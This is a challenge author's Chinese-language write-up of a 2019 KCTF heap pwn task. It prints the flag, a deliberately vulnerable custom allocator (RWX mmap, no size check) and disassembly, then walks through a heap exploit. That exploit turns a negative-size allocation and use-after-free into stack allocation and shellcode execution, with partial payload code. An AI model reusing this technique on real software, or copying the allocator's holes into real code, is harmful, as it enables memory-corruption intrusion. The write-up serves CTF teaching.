-
-
[原创]2019 KCTF Q3 Pwn题 第六题:神秘刺客设计思路:0xbirdpwn
-
2019-8-29 21:47 2787
-
题目名称:0xbirdheap
题目flag:flag{He1e's_an_f10g_3Nc3507_E0sy_pwn}
题目格式:linux下64位的ELF文件,只开了NX保护
出题思路:
main函数源码:
通过malloc分配一个堆缓冲区;释放指定的缓冲区;在指定地址可以写入;输出堆栈地址;退出返回
主要漏洞逻辑是在malloc和free函数中,每一个堆块都有读写区域,最后两个word会作为空闲列表指针。
堆区域布置如下:
size | buffer | ... | [fd] | [bk] |
---|---|---|---|---|
大小 | 缓冲区 | 前向指针 | 后向指针 |
在free之后存在一个UAF漏洞,可以通过在free和malloc之后重写fd的值将bin设置成任意地址,现在该地址的区域是由下一个malloc保护的,这样就可以控制返回地址,并且只开了NX,代码是可以被写入堆空间中的,这样返回地址就会被重写为堆地址,劫持后执行shellcode。
add_free_block函数源码:
void *add_free_block( unsigned int size) { void *new_block = NULL; pm_header thdr; pm_footer tftr; /// 将size + sizeof(malloc header)放置到最近的页上 size += sizeof( m_header ); if ( size % PAGE_SIZE ) { size /= PAGE_SIZE; size += 1; size *= PAGE_SIZE; } new_block = mmap( NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ( new_block == NULL ) { exit(-1); } thdr = (pm_header)new_block; thdr->size = size - sizeof(m_header); tftr = BLOCK_FOOTER( new_block ); tftr->pNext = NULL; tftr->pPrev = memman_g.free_list; memman_g.free_list = new_block; return new_block; }
malloc代码:
void *malloc( unsigned int size ) { void *freeWalker = NULL; void *final_alloc = NULL; void *new_block = NULL; unsigned int size_left = 0; pm_header thdr; pm_footer tftr; pm_header header_new_block; pm_footer footer_new_block; /// 每个块至少是页脚结构的大小 if ( size < sizeof( m_footer ) ) { size = sizeof(m_footer); } /// 对齐到8个字节 if ( size % 8 ) { size = ( size >> 3 ) + 1; size <<= 3; } freeWalker = memman_g.free_list; while ( 1 ) { if ( freeWalker == NULL ) { freeWalker = add_free_block( size ); } thdr = (pm_header)freeWalker; tftr = BLOCK_FOOTER( freeWalker ); /// 检查当前块是否足够大以满足请求 /// 如果是的话,就要根据需要缩小尺寸 if ( ( thdr->size & ~3) >= size ) { final_alloc = freeWalker + sizeof(pm_header); size_left = (thdr->size& ~3) - size; /// 设置一个标志 thdr->size |= 1; // 如果有空间则创建一个新块 if ( size_left > sizeof(m_header) + sizeof( m_footer) ) { // 修正尺寸大小 thdr->size = size; thdr->size |= 1; // 设置标志,前一个块后面还有一个堆块 thdr->size |= 2; new_block = final_alloc + size; header_new_block = (pm_header)new_block; header_new_block->size = size_left - sizeof(m_header); footer_new_block = tftr; /// 如果这是列表的头部就要修正它 if ( freeWalker == memman_g.free_list ) { memman_g.free_list = new_block; if ( tftr->pNext != NULL ) { tftr = BLOCK_FOOTER( (void*)(tftr->pNext) ); tftr->pPrev = (pm_header)new_block; } } else { // 修改前向和后向指针 if ( tftr->pPrev != NULL ) { freeWalker = tftr->pPrev; tftr = BLOCK_FOOTER( freeWalker ); tftr->pNext = (pm_header)new_block; tftr = footer_new_block; } if ( tftr->pNext != NULL ) { freeWalker = tftr->pNext; tftr = BLOCK_FOOTER( freeWalker); tftr->pPrev = (pm_header)new_block; } } } else { /// 修改前向和后向指针 if ( freeWalker == memman_g.free_list ) { memman_g.free_list = tftr->pNext; if ( memman_g.free_list ) { tftr = BLOCK_FOOTER( (void*)(memman_g.free_list) ); tftr->pPrev = NULL; } } else { // 修改前向和后向指针 if ( tftr->pPrev != NULL ) { freeWalker = tftr->pPrev; pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker ); unlink_ftr->pNext = tftr->pNext; } if ( tftr->pNext != NULL ) { freeWalker = tftr->pNext; pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker); unlink_ftr->pPrev = tftr->pPrev; } } } /// 修改完成,返回分配的堆空间 return final_alloc; } freeWalker = (void*)tftr->pNext; } }
这个漏洞是在分配新缓冲区时,没有检查缓冲区大小,这样就可以提供负大小的缓冲区
IDA代码如下:
.text:0000000000400A28 mov edx, 0FFh ; nbytes .text:0000000000400A2D mov rsi, rax ; buf .text:0000000000400A30 mov edi, 0 ; fd .text:0000000000400A35 call _read ;; read(0, &stdin_buffer, 0xFF) .text:0000000000400A49 lea rax, [rbp+stdin_buffer] .text:0000000000400A50 mov rdi, rax ; nptr .text:0000000000400A53 call _atoi .text:0000000000400A58 mov [rbp+size], eax .text:0000000000400A5B mov ebx, cs:index .text:0000000000400A61 mov eax, [rbp+sz] .text:0000000000400A64 mov edi, eax .text:0000000000400A66 call allocate_buffer ;; no check on size before call to allocate_buffer(size)
free_buffer(data_ptr)将得到块的长度data_ptr - 8,并且会存储指向head_free_list_ptr的块,在下一次free()后 ,这个指针将会被解引用,但是这个指针也是可控的。
利用这个漏洞需要使用堆分配器直接在堆栈内进行分配(由于“Nice Addr”命令,其地址已知)。
所以我们需要:
- 分配3个堆块,第二个分配的块必须是-1后的大小
- 释放第3个堆块
- 释放第二堆块
+----------------+ | size = N | | data | | .. | | | | | | ptr_to_stack | +----------------+ | size = -1 | +----------------+ | size = M | | data | | | | | +----------------+
第二次释放后,我们就可以控制head_free_list_ptr了:
sz = 128 allocate(s, sz) allocate(s, -1) allocate(s, 10) free(s, "3") free(s, "2") payload = "A"*(sz-8) + p64(0x4242424242424242) write(s, 1, payload)
现在需要确切知道最后一次调用$ rbp的确切位置,“Nice Addr”命令会提供信息。
main() 函数使用非常大的缓冲区(0x100字节)来存储从stdin读取的值:
.text:0000000000400905 ; int __cdecl main(int, char **, char **) .text:0000000000400905 main proc near .text:0000000000400905 .text:0000000000400905 stdin_buffer= byte ptr -120h ;; <<-- this buffer provides a good place to land reliably .text:0000000000400905 sz= dword ptr -14h
位置也很容易确定:
^ +------------------+ | | RetAddr | | +------------------+ context of | | SFP of main | | +------------------+ main() | | size | | | buffer[0x100] | | | | <-------------------------------+ | | | | | | | | | | | | | | | | V | | | ^ +------------------+ | | | RetAddr | | | +------------------+ | | | SFP | | context of | +------------------+ <------ $rbp points here, so $rbp+0x7e is sure to land | | | to the stack of main() allocate() | | | | | | | | | | | | | | | | | | V +------------------+
现在head_free_list_ptr就完全可控了。我们需要在此地址写入一个较大的值,例如0x1000,这样在检查此地址时,allocate_buffer()会认为堆栈中的缓冲区足够大,就可用于新的分配:
padd = 'D'*126 + p64(0x1000) + 'B'*8 + 'C'*8 free(s, "2" + "\0" + padd) allocate(s, 512)
这样就将其转换为了常规堆栈溢出,只需在新分配的地址0x7fffffffe458处写入shellcode即可。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课